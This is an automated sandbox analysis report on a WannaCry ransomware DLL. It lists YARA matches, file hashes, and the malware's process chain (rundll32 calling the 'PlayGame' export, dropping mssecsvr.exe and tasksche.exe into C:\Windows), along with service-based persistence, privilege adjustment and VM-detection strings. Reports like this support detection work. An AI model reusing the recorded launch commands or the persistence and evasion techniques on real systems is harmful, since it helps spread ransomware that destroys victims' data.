Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A

Source: C:\Windows\tasksche.exe

File deleted: C:\Windows\__tmp_rar_sfx_access_check_5451796

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\WINDOWS\mssecsvr.exe

Jump to behavior

Source: C:\Windows\tasksche.exe	Code function: 8_2_00402F2C	8_2_00402F2C
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041B0D9	8_2_0041B0D9
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041B8B9	8_2_0041B8B9
Source: C:\Windows\tasksche.exe	Code function: 8_2_00414946	8_2_00414946
Source: C:\Windows\tasksche.exe	Code function: 8_2_00410178	8_2_00410178
Source: C:\Windows\tasksche.exe	Code function: 8_2_00404986	8_2_00404986
Source: C:\Windows\tasksche.exe	Code function: 8_2_00429241	8_2_00429241
Source: C:\Windows\tasksche.exe	Code function: 8_2_0042727C	8_2_0042727C
Source: C:\Windows\tasksche.exe	Code function: 8_2_0040CB23	8_2_0040CB23
Source: C:\Windows\tasksche.exe	Code function: 8_2_004283FC	8_2_004283FC
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041AC04	8_2_0041AC04
Source: C:\Windows\tasksche.exe	Code function: 8_2_00416C3F	8_2_00416C3F
Source: C:\Windows\tasksche.exe	Code function: 8_2_00401CC1	8_2_00401CC1
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041F4D4	8_2_0041F4D4
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041BCD9	8_2_0041BCD9
Source: C:\Windows\tasksche.exe	Code function: 8_2_0040C4FF	8_2_0040C4FF
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041B4AD	8_2_0041B4AD
Source: C:\Windows\tasksche.exe	Code function: 8_2_00417D78	8_2_00417D78
Source: C:\Windows\tasksche.exe	Code function: 8_2_00427D04	8_2_00427D04
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041450F	8_2_0041450F
Source: C:\Windows\tasksche.exe	Code function: 8_2_00415D9A	8_2_00415D9A
Source: C:\Windows\tasksche.exe	Code function: 8_2_00405610	8_2_00405610
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041462B	8_2_0041462B
Source: C:\Windows\tasksche.exe	Code function: 8_2_00413EE3	8_2_00413EE3
Source: C:\Windows\tasksche.exe	Code function: 8_2_004106F4	8_2_004106F4
Source: C:\Windows\tasksche.exe	Code function: 8_2_0040C756	8_2_0040C756
Source: C:\Windows\tasksche.exe	Code function: 8_2_004277C0	8_2_004277C0

Source: C:\Windows\tasksche.exe	Code function: String function: 0041AAF0 appears 49 times
Source: C:\Windows\tasksche.exe	Code function: String function: 0041A4DC appears 37 times
Source: C:\Windows\tasksche.exe	Code function: String function: 0041FA9C appears 38 times

Source: C:\Windows\tasksche.exe

Code function: 8_2_0040690A: __EH_prolog,_wcslen,_wcscpy,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,_wcscpy,_wcscpy,_wcscpy,_wcscpy,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

8_2_0040690A

Source: mssecsvr.exe.2.dr	Static PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive
Source: mssecsvr.exe.2.dr	Static PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive

Source: eee.exe.8.dr

Static PE information: No import functions for PE file found

Source: tasksche.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: tasksche.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\tasksche.exe

Section loaded: samlib.dll

Jump to behavior

Source: Joe Sandbox View

Dropped File: C:\Windows\eee.exe 92B0BECA439DB25D7098379CEE580FA69F6F5E7271708BDEC03AB8FF526426D8

Source: dKkvbrzdUL.dll	Virustotal: Detection: 89%
Source: dKkvbrzdUL.dll	ReversingLabs: Detection: 87%

Source: dKkvbrzdUL.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\dKkvbrzdUL.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\dKkvbrzdUL.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\dKkvbrzdUL.dll,PlayGame
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\dKkvbrzdUL.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\dKkvbrzdUL.dll",PlayGame
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe
Source: unknown	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe -m security
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\dKkvbrzdUL.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\dKkvbrzdUL.dll,PlayGame	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\dKkvbrzdUL.dll",PlayGame	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\dKkvbrzdUL.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe	Jump to behavior

Source: C:\Windows\mssecsvr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\tasksche.exe

Code function: 8_2_00406553 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,

8_2_00406553

Source: classification engine

Classification label: mal100.rans.troj.expl.evad.winDLL@22/3@3/100

Source: C:\Windows\tasksche.exe

Code function: 8_2_00419BB0 CoCreateInstance,

8_2_00419BB0

Source: C:\Windows\mssecsvr.exe	Code function: sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,		4_2_00407C40
Source: C:\Windows\mssecsvr.exe	Code function: sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,		7_2_00407C40

Source: C:\Windows\tasksche.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Windows\mssecsvr.exe	Code function: 4_2_00408090 GetModuleFileNameA,__p___argc,OpenSCManagerA,InternetCloseHandle,OpenServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherA,		4_2_00408090
Source: C:\Windows\mssecsvr.exe	Code function: 7_2_00408090 GetModuleFileNameA,__p___argc,OpenSCManagerA,InternetCloseHandle,OpenServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherA,		7_2_00408090

Source: C:\Windows\mssecsvr.exe

Code function: 4_2_00407C40 sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,

4_2_00407C40

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\dKkvbrzdUL.dll,PlayGame

Source: C:\Windows\mssecsvr.exe

Code function: 4_2_00407CE0 InternetCloseHandle,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,FindResourceA,LoadResource,LockResource,SizeofResource,sprintf,sprintf,sprintf,MoveFileExA,CreateFileA,WriteFile,FindCloseChangeNotification,CreateProcessA,CloseHandle,CloseHandle,

4_2_00407CE0

Source: C:\Windows\tasksche.exe	Command line argument: sfxname	8_2_0040FEF0
Source: C:\Windows\tasksche.exe	Command line argument: sfxstime	8_2_0040FEF0
Source: C:\Windows\tasksche.exe	Command line argument: STARTDLG	8_2_0040FEF0
Source: C:\Windows\tasksche.exe	Command line argument: @CB	8_2_00424290

Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK

Source: C:\Windows\tasksche.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: dKkvbrzdUL.dll

Static file information: File size 5267459 > 1048576

Source: dKkvbrzdUL.dll

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x501000

Source:

Source: C:\Windows\tasksche.exe	Code function: 8_2_0041FAE1 push ecx; ret		8_2_0041FAF4
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041A4DC push eax; ret		8_2_0041A4FA

Source: C:\Windows\tasksche.exe

Code function: 8_2_0040CEB6 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,

8_2_0040CEB6

Source: C:\Windows\tasksche.exe

File created: C:\Windows\__tmp_rar_sfx_access_check_5451796

Jump to behavior

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\mssecsvr.exe	Executable created and started: C:\WINDOWS\tasksche.exe			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Executable created and started: C:\WINDOWS\mssecsvr.exe			Jump to behavior

Source: C:\Windows\tasksche.exe	File created: C:\Windows\eee.exe	Jump to dropped file
Source: C:\Windows\mssecsvr.exe	File created: C:\Windows\tasksche.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\mssecsvr.exe	Jump to dropped file

Source: C:\Windows\tasksche.exe	File created: C:\Windows\eee.exe	Jump to dropped file
Source: C:\Windows\mssecsvr.exe	File created: C:\Windows\tasksche.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\mssecsvr.exe	Jump to dropped file

Source: C:\Windows\mssecsvr.exe

Code function: 4_2_00407C40 sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,

4_2_00407C40

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\mssecsvr.exe TID: 7004	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Windows\mssecsvr.exe TID: 7012	Thread sleep count: 894 > 30	Jump to behavior
Source: C:\Windows\mssecsvr.exe TID: 7012	Thread sleep time: -89400s >= -30000s	Jump to behavior
Source: C:\Windows\mssecsvr.exe TID: 9180	Thread sleep count: 83 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 13044	Thread sleep time: -90000s >= -30000s	Jump to behavior

Source: C:\Windows\tasksche.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_8-19228
Source: C:\Windows\tasksche.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep			graph_8-19428

Source: C:\Windows\tasksche.exe

Dropped PE file which has not been started: C:\Windows\eee.exe

Jump to dropped file

Source: C:\Windows\mssecsvr.exe

Window / User API: threadDelayed 894

Jump to behavior

Source: C:\Windows\tasksche.exe	Code function: 8_2_00409476 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		8_2_00409476
Source: C:\Windows\tasksche.exe	Code function: 8_2_0040DE5E SendDlgItemMessageW,DestroyIcon,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SHGetFileInfoW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		8_2_0040DE5E

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: C:\Windows\tasksche.exe

API call chain: ExitProcess graph end node

graph_8-19230

Source: tasksche.exe, 00000008.00000003.845311445.00000000006C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}S
Source: tasksche.exe, 00000008.00000003.898729404.0000000006ADC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: tasksche.exe, 00000008.00000003.436390477.00000000006ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}hp
Source: tasksche.exe, 00000008.00000003.490427677.00000000006CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}""
Source: tasksche.exe, 00000008.00000003.436390477.00000000006ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}))
Source: tasksche.exe, 00000008.00000003.758062847.00000000006B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Prod_VMware_SATA_CD00#5&280b
Source: tasksche.exe, 00000008.00000003.640760535.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}VV
Source: svchost.exe, 0000000E.00000002.991049183.000001CA66402000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
Source: svchost.exe, 00000017.00000002.668204643.00000212C00EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: tasksche.exe, 00000008.00000003.757997742.0000000006B15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}D
Source: tasksche.exe, 00000008.00000003.490834463.00000000006A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: histry\Machine\Software\Classes\Directory\ShellEx\{E9701183-E6B3-4FF2-8568-813615FEC7BE}1efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb
